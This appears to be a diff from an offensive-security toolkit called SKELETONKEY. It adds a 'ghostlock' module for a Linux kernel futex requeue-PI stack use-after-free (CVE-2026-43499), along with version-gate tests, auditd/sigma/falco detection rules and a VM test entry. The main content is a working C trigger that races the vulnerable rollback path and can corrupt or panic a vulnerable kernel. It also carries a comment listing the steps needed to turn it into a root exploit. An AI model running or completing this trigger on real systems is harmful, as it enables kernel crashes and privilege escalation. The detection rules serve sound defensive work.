{6, 6, 140}, /* 6.6 LTS — 8a1fc8d698ac */
{6, 12, 86}, /* 6.12 LTS — 6d52dfcb2a5d */
{6, 18, 27}, /* 6.18 — 3fb7394a8377 */
{7, 0, 4}, /* 7.0 — 88614876370a; 7.1+ inherits the mainline fix */
};
static const struct kernel_range ghostlock_range = {
.patched_from = ghostlock_patched_branches,
.n_patched_from = sizeof(ghostlock_patched_branches) /
sizeof(ghostlock_patched_branches[0]),
};
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] ghostlock: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* PI-futex requeue (and thus the vulnerable rt_mutex_start_proxy_lock
* / remove_waiter rollback) arrived in 2.6.39; older kernels predate
* the code entirely. (In practice nothing modern is below this, but
* the gate is here for correctness.) */
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 39)) {
if (!ctx->json)
fprintf(stderr, "[i] ghostlock: kernel %s predates PI-futex requeue "
"(introduced 2.6.39) — not affected\n", v->release);
return SKELETONKEY_OK;
}
if (kernel_range_is_patched(&ghostlock_range, v)) {
if (!ctx->json)
fprintf(stderr, "[+] ghostlock: kernel %s is patched (>= 7.0.4 / "
"6.12.86 / 6.6.140 / 6.1.175 on-branch, or 7.1+ "
"mainline)\n", v->release);
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] ghostlock: VULNERABLE — kernel %s below the fix on "
"its branch; rtmutex/futex requeue-PI remove_waiter() "
"stack UAF reachable by any unprivileged user (no userns "
"/ capability; assumes CONFIG_FUTEX_PI, near-universal)\n",
v->release);
fprintf(stderr, "[i] ghostlock: no unprivileged-userns or sysctl stopgap "
"applies (PI futexes cannot be disabled at runtime) — the "
"only fix is to patch the kernel\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
* Reconstructed reachability trigger (deliberately under-driven).
*
* Faithful minimal shape of the public PoC's requeue-PI cycle:
* waiter : LOCK_PI(chain); WAIT_REQUEUE_PI(wait -> target) [parks]
* owner : LOCK_PI(target); LOCK_PI(chain) [blocks]
* main : CMP_REQUEUE_PI(wait -> target) => -EDEADLK
* The requeue would make the waiter block on `target` (held by owner),
* owner is blocked on `chain` (held by waiter) → cycle → rt_mutex
* deadlock detection returns -EDEADLK and runs remove_waiter() rollback.
*
* Phase A (no consumer) confirms that rollback path is REACHABLE — safe,
* because without a concurrent PI priority walk the unwind is the normal
* correct deadlock rejection and leaves nothing dangling. Phase B adds a
* sibling-core sched_setattr(SCHED_BATCH) storm on the waiter's tid to
* overlap the walk with the rollback (the actual race), hard-bounded,
* then stops. We do NOT widen the copy_from_user window (no memfd /
* PUNCH_HOLE), do NOT spray/reoccupy the freed stack frame, and do NOT
* weaponise. The honest witness is coarse: the -EDEADLK reachability
* proof, plus a fault signal in the isolated child if a Phase-B race
* happened to fire. Absence of a fault does NOT prove the host is safe.
* ------------------------------------------------------------------ */
#define GHL_PROBE_ROUNDS 8 /* deterministic -EDEADLK confirmations (early-exit on first) */
#define GHL_RACE_ITERS 24 /* hard-bounded race-window exercise (concurrent sched_setattr) */
#define GHL_RACE_BUDGET_SECS 2 /* honest short cap (public PoC grinds for minutes) */
#define GHL_PARK_TIMEOUT_MS 60 /* parked waiter/owner self-unblock so no attempt hangs */
struct ghl_sched_attr {
uint32_t size;
uint32_t sched_policy;
uint64_t sched_flags;
int32_t sched_nice;
uint32_t sched_priority;
uint64_t sched_runtime;
uint64_t sched_deadline;
uint64_t sched_period;
};
struct ghl_attempt {
volatile uint32_t chain; /* PI futex the waiter holds */
volatile uint32_t target; /* PI futex the owner holds; requeue destination */
volatile uint32_t wait; /* plain futex the waiter parks on */
atomic_int waiter_ready; /* waiter holds chain + published tid */
atomic_int owner_ready; /* owner holds target + about to block on chain */
atomic_int waiter_tid; /* consumer targets this tid */
atomic_int stop; /* tear-down flag for the consumer */
};
static long ghl_futex(volatile uint32_t *uaddr, int op, uint32_t val,
void *timeout_or_val2, volatile uint32_t *uaddr2,
uint32_t val3)
{
return syscall(SYS_futex, uaddr, op, val, timeout_or_val2, uaddr2, val3);
}
static int ghl_gettid(void)
{
return (int)syscall(SYS_gettid);
}
static void ghl_pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
}
static void ghl_abs_realtime_ms(struct timespec *ts, long ms)
{
clock_gettime(CLOCK_REALTIME, ts);
ts->tv_sec += ms / 1000;
ts->tv_nsec += (ms % 1000) * 1000000L;
if (ts->tv_nsec >= 1000000000L) { ts->tv_sec++; ts->tv_nsec -= 1000000000L; }
}
static void *ghl_waiter_fn(void *arg)
{
struct ghl_attempt *a = (struct ghl_attempt *)arg;
ghl_pin_cpu(0);
/* Acquire the chain PI-futex (uncontended → success, sets it to our tid). */
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
atomic_store_explicit(&a->waiter_tid, ghl_gettid(), memory_order_release);
atomic_store_explicit(&a->waiter_ready, 1, memory_order_release);
/* Park, pre-queued to be requeued onto `target`. Short absolute timeout
* so we self-unblock even if the requeue is refused (-EDEADLK). */
struct timespec ts;
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
(void)ghl_futex(&a->wait, FUTEX_WAIT_REQUEUE_PI | FUTEX_CLOCK_REALTIME, 0,
&ts, &a->target, 0);
(void)ghl_futex(&a->chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
return NULL;
}
static void *ghl_owner_fn(void *arg)
{
struct ghl_attempt *a = (struct ghl_attempt *)arg;
ghl_pin_cpu(0);
while (!atomic_load_explicit(&a->waiter_ready, memory_order_acquire))
sched_yield();
(void)ghl_futex(&a->target, FUTEX_LOCK_PI, 0, NULL, NULL, 0); /* hold target */
atomic_store_explicit(&a->owner_ready, 1, memory_order_release);
struct timespec ts;
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, &ts, NULL, 0); /* block on chain */
(void)ghl_futex(&a->target, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
return NULL;
}
static void *ghl_consumer_fn(void *arg)
{
struct ghl_attempt *a = (struct ghl_attempt *)arg;
ghl_pin_cpu(1); /* sibling CPU */
while (!atomic_load_explicit(&a->waiter_tid, memory_order_acquire))
sched_yield();
int tid = atomic_load_explicit(&a->waiter_tid, memory_order_acquire);
struct ghl_sched_attr sa;
memset(&sa, 0, sizeof sa);
sa.size = sizeof sa;
sa.sched_policy = SCHED_BATCH;
sa.sched_nice = 19;
/* Hammer a PI-chain priority walk on the waiter concurrently with the
* rollback. SYS_sched_setattr may be absent on ancient toolchains. */
while (!atomic_load_explicit(&a->stop, memory_order_acquire)) {
#ifdef SYS_sched_setattr
(void)syscall(SYS_sched_setattr, tid, &sa, 0u);
#else
sched_yield();
#endif
}
return NULL;
}
/* One attempt: build the requeue-PI cycle and fire CMP_REQUEUE_PI. With
* with_race, run the concurrent sched_setattr storm. Returns 1 iff the
* kernel returned -EDEADLK (the rollback path was reached). */
static int ghl_one_attempt(int with_race)
{
struct ghl_attempt a;
memset(&a, 0, sizeof a);
pthread_t tw, to, tc;
int have_tc = 0;
if (pthread_create(&tw, NULL, ghl_waiter_fn, &a) != 0)
return 0;
while (!atomic_load_explicit(&a.waiter_ready, memory_order_acquire))
sched_yield();
if (pthread_create(&to, NULL, ghl_owner_fn, &a) != 0) {
atomic_store_explicit(&a.stop, 1, memory_order_release);
pthread_join(tw, NULL);
return 0;
}
while (!atomic_load_explicit(&a.owner_ready, memory_order_acquire))
sched_yield();
if (with_race && pthread_create(&tc, NULL, ghl_consumer_fn, &a) == 0)
have_tc = 1;
/* Settle: let the waiter park in WAIT_REQUEUE_PI and the owner in
* LOCK_PI(chain) before we close the cycle. */
usleep(3000);
errno = 0;
long r = ghl_futex(&a.wait, FUTEX_CMP_REQUEUE_PI, 1,
(void *)(uintptr_t)1, &a.target, 0);
int got_edeadlk = (r == -1 && errno == EDEADLK);
atomic_store_explicit(&a.stop, 1, memory_order_release);
if (have_tc) pthread_join(tc, NULL);
pthread_join(to, NULL); /* parked threads self-unblock via their timeouts */
pthread_join(tw, NULL);
return got_edeadlk;
}
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = ghostlock_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ghostlock: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] ghostlock: already running as root\n");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[*] ghostlock: reconstructed reachability probe — builds "
"the requeue-PI cycle and confirms the -EDEADLK "
"remove_waiter() rollback path is reachable, then exercises "
"the race window %d bounded times (%ds cap) with a "
"sibling-CPU sched_setattr storm, and stops. The "
"KernelSnitch leak → forged-waiter → fops/ashmem/pipe R/W "
"→ cred-patch root-pop is NOT bundled.\n",
GHL_RACE_ITERS, GHL_RACE_BUDGET_SECS);
/* Fork-isolated: a *won* Phase-B race corrupts the kernel stack. On a
* KASAN kernel that oopses (contained to the child); on a plain
* vulnerable kernel it may panic — which is exactly why the attempt
* count is hard-bounded and the window is never widened. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* Phase A — deterministic, safe reachability confirmation. */
int edeadlk = 0;
for (int i = 0; i < GHL_PROBE_ROUNDS && !edeadlk; i++)
edeadlk = ghl_one_attempt(0 /* no race */);
/* Phase B — hard-bounded window exercise (concurrent priority walk). */
int fired = 0;
time_t deadline = time(NULL) + GHL_RACE_BUDGET_SECS;
for (int i = 0; i < GHL_RACE_ITERS && time(NULL) < deadline; i++) {
(void)ghl_one_attempt(1 /* with race */);
fired = i + 1;
}
if (!ctx->json)
fprintf(stderr, "[i] ghostlock: requeue-PI rollback reachable: %s; "
"%d bounded race-window iterations fired\n",
edeadlk ? "YES (-EDEADLK observed)" : "not observed", fired);
_exit(edeadlk ? 100 : 101);
}
int status;
waitpid(child, &status, 0);
if (WIFSIGNALED(status)) {
if (!ctx->json)
fprintf(stderr, "[!] ghostlock: child died by signal %d — the "
"requeue-PI stack UAF may have fired (KASAN oops / "
"corruption fault). This is the bug, but no root was "
"obtained.\n",
WTERMSIG(status));
return SKELETONKEY_EXPLOIT_FAIL;
}
if (WIFEXITED(status) &&
(WEXITSTATUS(status) == 100 || WEXITSTATUS(status) == 101)) {
if (!ctx->json) {
if (WEXITSTATUS(status) == 100)
fprintf(stderr, "[!] ghostlock: the vulnerable requeue-PI "
"deadlock-rollback path IS reachable here "
"(-EDEADLK) and the race window was exercised — "
"reconstructed primitive, honest EXPLOIT_FAIL.\n");
else
fprintf(stderr, "[!] ghostlock: race window exercised but the "
"-EDEADLK rollback path was not observed (timing, "
"or a hardened/patched-at-runtime kernel) — honest "
"EXPLOIT_FAIL.\n");
fprintf(stderr, "[i] ghostlock: to complete: port the public "
"KernelSnitch page leak + forged on-stack "
"rt_mutex_waiter + fops/configfs/ashmem/pipe R/W + "
"cred patch for CVE-2026-43499 (Android/Pixel-specific, "
"per-build offsets — not bundled).\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[-] ghostlock: probe setup failed (child rc=%d)\n",
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] ghostlock: Linux-only module (rtmutex/futex "
"requeue-PI stack UAF) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] ghostlock: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ----- Embedded detection rules -----
*
* Honesty note (see MODULE.md): unlike most kernel races, GhostLock has a
* genuinely distinctive behavioural tell — a futex requeue-PI operation
* (FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI) returning -EDEADLK, which
* glibc's requeue-PI usage inside pthread_cond_wait never provokes. The
* catch: auditd/sigma see the `futex` syscall but not its op-vs-return
* cheaply, and a bare `-S futex` watch would flood any host (futex is one
* of the busiest syscalls). So the deployable auditd/sigma rules anchor on
* the far rarer sched_setattr (the sibling-thread priority-walk driver) and
* the post-exploitation euid-0 transition; the high-fidelity
* requeue-PI-returns-EDEADLK signal is expressed in the falco/eBPF rule,
* which can see the op and the return value. Tune per environment.
*/
static const char ghostlock_auditd[] =
"# GhostLock — rtmutex/futex requeue-PI remove_waiter() stack UAF (CVE-2026-43499) — auditd rules\n"
"# NOTE: a bare `-S futex` watch would flood auditd (futex is ubiquitous) and\n"
"# auditd cannot cheaply test a syscall's return against its op, so we anchor on\n"
"# the far rarer sched_setattr — the GhostLock trigger fires it on a SIBLING\n"
"# thread in a tight loop (policy SCHED_BATCH) to drive the PI-chain priority\n"
"# walk that wins the race — plus sched_setaffinity CPU pinning of the racers.\n"
"# The high-fidelity 'requeue-PI returns EDEADLK' tell needs an eBPF/falco layer\n"
"# that can see the op+retval (see the shipped falco rule). Correlate these in\n"
"# your SIEM per-pid within a short window; individually they are benign.\n"
"-a always,exit -F arch=b64 -S sched_setattr -k skeletonkey-ghostlock-schedattr\n"
"-a always,exit -F arch=b64 -S sched_setaffinity -k skeletonkey-ghostlock-affinity\n"
"# Post-exploitation fallback: unprivileged process -> euid 0 with no setuid execve.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n"
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n";
static const char ghostlock_sigma[] =
"title: Possible CVE-2026-43499 GhostLock rtmutex/futex requeue-PI stack UAF\n"
"id: 2f8a6b4c-skeletonkey-ghostlock\n"
"status: experimental\n"
"description: |\n"
" GhostLock (CVE-2026-43499) is a stack UAF in the rtmutex/futex requeue-PI\n"
" rollback path, reachable by any unprivileged user via futex(2) +\n"
" sched_setattr(2). The strongest behavioural tell is a futex requeue-PI op\n"
" (FUTEX_WAIT_REQUEUE_PI=11 / FUTEX_CMP_REQUEUE_PI=12) returning -EDEADLK\n"
" (glibc never provokes this) interleaved with sched_setattr(SCHED_BATCH)\n"
" targeting a SIBLING thread and sched_setaffinity CPU pinning — but auditd\n"
" cannot see the futex op/return cheaply, so this rule keys on the rarer\n"
" sched_setattr driver and the post-exploitation euid-0 transition. Use the\n"
" falco/eBPF rule for the high-fidelity requeue-PI-EDEADLK signal. Expect\n"
" false positives from legitimate real-time / scheduler-tuning daemons.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" schedattr: {type: 'SYSCALL', syscall: 'sched_setattr'}\n"
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
" unpriv: {auid|expression: '>= 1000'}\n"
" condition: schedattr or (uid0 and unpriv)\n"
"level: medium\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43499]\n";
static const char ghostlock_falco[] =
"- rule: Futex requeue-PI EDEADLK with sibling sched_setattr (possible CVE-2026-43499)\n"
" desc: |\n"
" GhostLock (CVE-2026-43499) rtmutex/futex requeue-PI stack UAF. High-fidelity\n"
" tell (needs a futex-aware eBPF probe that exposes the op + return value): a\n"
" FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI that returns EDEADLK — glibc's\n"
" requeue-PI usage inside pthread_cond_wait never provokes it — combined with\n"
" the same tgid calling sched_setattr(SCHED_BATCH) on a sibling thread. Where\n"
" the probe cannot decode the futex op, fall back to the post-exploitation\n"
" effect below: a non-root process becoming root outside a setuid binary.\n"
" condition: >\n"
" (evt.type = futex and evt.rawres = -35) or\n"
" (evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
" not proc.is_setuid = true and user.uid != 0)\n"
" output: >\n"
" Possible CVE-2026-43499 GhostLock requeue-PI stack UAF\n"
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid evt=%evt.type res=%evt.res)\n"
" priority: WARNING\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.43499]\n";
const struct skeletonkey_module ghostlock_module = {
.name = "ghostlock",
.cve = "CVE-2026-43499",
.summary = "rtmutex/futex requeue-PI remove_waiter() stack UAF (\"GhostLock\") — clears pi_blocked_on on the wrong task during -EDEADLK rollback; ~15-year range, unprivileged, no userns",
.family = "rtmutex",
.kernel_range = "2.6.39 <= K < fix (introduced with PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with no upstream stable fix; < 2.6.39 not affected",
.detect = ghostlock_detect,
.exploit = ghostlock_exploit,
.mitigate = NULL, /* mitigation: upgrade kernel — PI futexes cannot be disabled at runtime, no userns/sysctl stopgap */
.cleanup = NULL, /* trigger creates only throwaway futex words + threads in a fork-isolated child; no host artifacts */
.detect_auditd = ghostlock_auditd,
.detect_sigma = ghostlock_sigma,
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
.detect_falco = ghostlock_falco,
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 2.6.39 AND below the on-branch fix: stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal). exploit() forks an isolated child that (A) builds the requeue-PI cycle and confirms the -EDEADLK remove_waiter() rollback path is reachable — deterministic and safe, since without a concurrent priority walk the unwind creates no dangling pointer — then (B) exercises the actual race a hard-bounded 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter's tid, and stops. It is deliberately UNDER-DRIVEN: it does not widen the copy_from_user window (no memfd/PUNCH_HOLE), does not spray/reoccupy the freed kernel-stack frame, and does not bundle the KernelSnitch leak → forged on-stack rt_mutex_waiter → fops/configfs/ashmem/pipe R/W → cred-patch root-pop (Android/Pixel-specific, per-build offsets); the trigger is reconstructed from the public VEGA/Nebula PoC, not VM-verified, and returns EXPLOIT_FAIL. Telemetry footprint — unlike most kernel races GhostLock has a real behavioural signature: a burst of futex requeue-PI ops returning EDEADLK (glibc never does this) plus tight-loop sched_setattr(SCHED_BATCH) on a sibling thread and sched_setaffinity CPU pinning; and, only if a Phase-B race fires on a vulnerable host, a possible KASAN oops or kernel-stack panic. No persistent files. Lowest --auto safety rank in the corpus: a won race corrupts the kernel stack and drives a near-arbitrary pointer write.",
.arch_support = "any",
};
void skeletonkey_register_ghostlock(void)
{
skeletonkey_register(&ghostlock_module);
}
@@ -0,0 +1,12 @@
/*
* ghostlock_cve_2026_43499 — SKELETONKEY module registry hook
*/
#ifndef GHOSTLOCK_SKELETONKEY_MODULES_H
#define GHOSTLOCK_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module ghostlock_module;
#endif
+3 -2
View File
@@ -35,7 +35,7 @@
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
#define SKELETONKEY_VERSION "0.9.12" #define SKELETONKEY_VERSION "0.9.13"
static const char BANNER[] = static const char BANNER[] =
"\n" "\n"
@@ -1021,7 +1021,8 @@ static int module_safety_rank(const char *n)
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */ if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */ if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
if (!strcmp(n, "stackrot")) return 15; /* very low win% */ if (!strcmp(n, "stackrot")) return 15; /* very low win% */
if (!strcmp(n, "bad_epoll")) return 12; /* reconstructed epoll teardown race UAF; a won race frees a live struct file and rarely trips KASAN (silent-corruption risk), primitive-only/not VM-verified — least predictable in the corpus */ if (!strcmp(n, "bad_epoll")) return 12; /* reconstructed epoll teardown race UAF; a won race frees a live struct file and rarely trips KASAN (silent-corruption risk), primitive-only/not VM-verified */
if (!strcmp(n, "ghostlock")) return 11; /* reconstructed rtmutex/futex requeue-PI stack UAF; a won race corrupts the kernel stack + writes a near-arbitrary pointer (immediate-panic risk), primitive-only/not VM-verified — least predictable in the corpus */
if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */ if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */
return 50; /* kernel primitives — middle of pack */ return 50; /* kernel primitives — middle of pack */
} }
+75
View File
@@ -73,6 +73,7 @@ extern const struct skeletonkey_module sudo_host_module;
extern const struct skeletonkey_module cifswitch_module; extern const struct skeletonkey_module cifswitch_module;
extern const struct skeletonkey_module nft_catchall_module; extern const struct skeletonkey_module nft_catchall_module;
extern const struct skeletonkey_module bad_epoll_module; extern const struct skeletonkey_module bad_epoll_module;
extern const struct skeletonkey_module ghostlock_module;
static int g_pass = 0; static int g_pass = 0;
static int g_fail = 0; static int g_fail = 0;
@@ -935,6 +936,80 @@ static void run_all(void)
&bad_epoll_module, &h_bep_710, &bad_epoll_module, &h_bep_710,
SKELETONKEY_OK); SKELETONKEY_OK);
/* ── ghostlock (CVE-2026-43499) ──────────────────────────────
* Pure version gate over a FIVE-branch backport table (fixed
* 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 on-branch, 7.1+
* inherits mainline; introduced 2.6.39). Unlike bad_epoll's single
* entry, this exercises kernel_range_is_patched()'s "strictly newer
* than ALL entries" mainline-inherit clause: 6.13.x is newer than
* some entries but not all, so it must stay VULNERABLE. The 5.x/4.19
* LTS branches are affected with NO upstream fix. No userns/CONFIG
* precondition (CVSS PR:L, any local user). */
/* 2.6.30 predates PI-futex requeue (introduced 2.6.39) → OK */
struct skeletonkey_host h_ghl_2630 =
mk_host(h_kernel_6_12, 2, 6, 30, "2.6.30-test");
run_one("ghostlock: 2.6.30 predates PI-futex requeue → OK",
&ghostlock_module, &h_ghl_2630,
SKELETONKEY_OK);
/* 5.10.200 — affected LTS with NO upstream stable fix → VULNERABLE */
struct skeletonkey_host h_ghl_510 =
mk_host(h_kernel_6_12, 5, 10, 200, "5.10.200-test");
run_one("ghostlock: 5.10.200 (no upstream fix on 5.10) → VULNERABLE",
&ghostlock_module, &h_ghl_510,
SKELETONKEY_VULNERABLE);
/* 6.1.174 one below the 6.1.175 backport → VULNERABLE */
struct skeletonkey_host h_ghl_61174 =
mk_host(h_kernel_6_12, 6, 1, 174, "6.1.174-test");
run_one("ghostlock: 6.1.174 below the 6.1.175 backport → VULNERABLE",
&ghostlock_module, &h_ghl_61174,
SKELETONKEY_VULNERABLE);
/* 6.1.175 exact backport → OK via patch table */
struct skeletonkey_host h_ghl_61175 =
mk_host(h_kernel_6_12, 6, 1, 175, "6.1.175-test");
run_one("ghostlock: 6.1.175 (exact backport) → OK via patch table",
&ghostlock_module, &h_ghl_61175,
SKELETONKEY_OK);
/* 6.12.85 one below the 6.12.86 backport → VULNERABLE */
struct skeletonkey_host h_ghl_61285 =
mk_host(h_kernel_6_12, 6, 12, 85, "6.12.85-test");
run_one("ghostlock: 6.12.85 below the 6.12.86 backport → VULNERABLE",
&ghostlock_module, &h_ghl_61285,
SKELETONKEY_VULNERABLE);
/* 6.13.0 — newer than 6.12.86 but OLDER than 6.18.27/7.0.4, EOL
* branch with no fix → must stay VULNERABLE ("newer than ALL" test). */
struct skeletonkey_host h_ghl_6130 =
mk_host(h_kernel_6_12, 6, 13, 0, "6.13.0-test");
run_one("ghostlock: 6.13.0 newer than some entries but not all → VULNERABLE",
&ghostlock_module, &h_ghl_6130,
SKELETONKEY_VULNERABLE);
/* 7.0.3 one below the 7.0.4 backport → VULNERABLE */
struct skeletonkey_host h_ghl_7003 =
mk_host(h_kernel_6_12, 7, 0, 3, "7.0.3-test");
run_one("ghostlock: 7.0.3 below the 7.0.4 backport → VULNERABLE",
&ghostlock_module, &h_ghl_7003,
SKELETONKEY_VULNERABLE);
/* 7.0.4 exact backport → OK */
struct skeletonkey_host h_ghl_7004 =
mk_host(h_kernel_6_12, 7, 0, 4, "7.0.4-test");
run_one("ghostlock: 7.0.4 (exact backport) → OK via patch table",
&ghostlock_module, &h_ghl_7004,
SKELETONKEY_OK);
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
struct skeletonkey_host h_ghl_710 =
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
run_one("ghostlock: 7.1.0 above all backports → OK (mainline inherit)",
&ghostlock_module, &h_ghl_710,
SKELETONKEY_OK);
/* ── coverage report ───────────────────────────────────────── /* ── coverage report ─────────────────────────────────────────
* Iterate the runtime registry (populated by skeletonkey_register_* * Iterate the runtime registry (populated by skeletonkey_register_*
* calls in main()) and warn for any module that was not touched * calls in main()) and warn for any module that was not touched
+9
View File
@@ -333,3 +333,12 @@ bad_epoll:
kernel_version: "6.8.0-generic" # >= 6.4 (bug introduced 58c9b016e128) and below the 7.0.13 backport → VULNERABLE by version kernel_version: "6.8.0-generic" # >= 6.4 (bug introduced 58c9b016e128) and below the 7.0.13 backport → VULNERABLE by version
expect_detect: VULNERABLE expect_detect: VULNERABLE
notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending." notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending."
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
ghostlock:
box: ubuntu2404
kernel_pkg: ""
kernel_version: "6.8.0-generic" # >= 2.6.39, below the on-branch fix (no 6.8 backport; not newer than all entries) → VULNERABLE by version
expect_detect: VULNERABLE
